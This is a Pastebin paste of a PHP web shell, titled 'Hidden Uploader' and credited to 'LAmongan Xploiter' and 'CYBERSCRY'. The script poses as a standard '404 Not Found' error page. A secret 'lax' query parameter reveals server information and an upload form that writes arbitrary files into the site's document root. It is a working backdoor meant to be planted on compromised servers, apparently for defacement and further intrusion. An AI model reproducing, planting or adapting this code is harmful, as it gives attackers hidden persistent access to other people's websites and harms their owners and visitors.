LAmongan_Xploiter

lax-uploader

Apr 23rd, 2018
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.03 KB | None | 0 0
  1. <?php
  2. echo "<html>
  3. <head>
  4. <title>404 Not Found</title>
  5. </head>
  6. <h1>Not Found</h1>
  7. <p>The requested URL ".$_SERVER[REQUEST_URI]." was not found on this server.</p>
  8.  
  9.  
  10. <address>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</address>
  11. ";
  12. if(isset($_GET["lax"])){
  13. echo "
  14. <body bgcolor='grey'><font color='red'>
  15. <center>
  16. <pre>
  17. _ _ _
  18. | | __ _ __ __ _ _ _ __ | | ___ __ _ __| | ___ _ __
  19. | | / _` | \ \/ / _____ | | | | | '_ \ | | / _ \ / _` | / _` | / _ \ | '__|
  20. | |___ | (_| | > < |_____| | |_| | | |_) | | | | (_) | | (_| | | (_| | | __/ | |
  21. |_____| \__,_| /_/\_\ \__,_| | .__/ |_| \___/ \__,_| \__,_| \___| |_|
  22. Hidden Uploader by LAmongan Xploiter |_| Coded By CYBERSCRY
  23. </pre></font>
  24. <font color='cyan'>".php_uname()."</font><br>
  25. <font color ='gold'>Server IP: </font>
  26. <font color='lime'>".gethostbyname($_SERVER['HTTP_HOST'])." </font>
  27. <font color='gold'>Your IP: </font>
  28. <font color='lime'>".$_SERVER['REMOTE_ADDR']."</font><br>
  29. <font color='gold'>Dir: </font><font color='lime'>".$_SERVER[SCRIPT_FILENAME]."</font>";
  30. echo "<form method='post' enctype='multipart/form-data'>
  31. <input type='file' name='idx_file'>
  32. <input type='submit' name='upload' value='upload'>
  33. </form>";
  34. $root = $_SERVER['DOCUMENT_ROOT'];
  35. $files = $_FILES['idx_file']['name'];
  36. $dest = $root.'/'.$files;
  37. if(isset($_POST['upload'])) {
  38. if(is_writable($root)) {
  39. if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
  40. $web = "http://".$_SERVER['HTTP_HOST']."/";
  41. echo "upload success > <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
  42. } else {
  43. echo "upload failed in folder root";
  44. }
  45. } else {
  46. if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
  47. echo "upload success <b>$files</b> in this folder";
  48. } else {
  49. echo "failed";
  50. }
  51. }
  52. }
  53. }
  54. ?>
Advertisement
Add Comment
Please, Sign In to add comment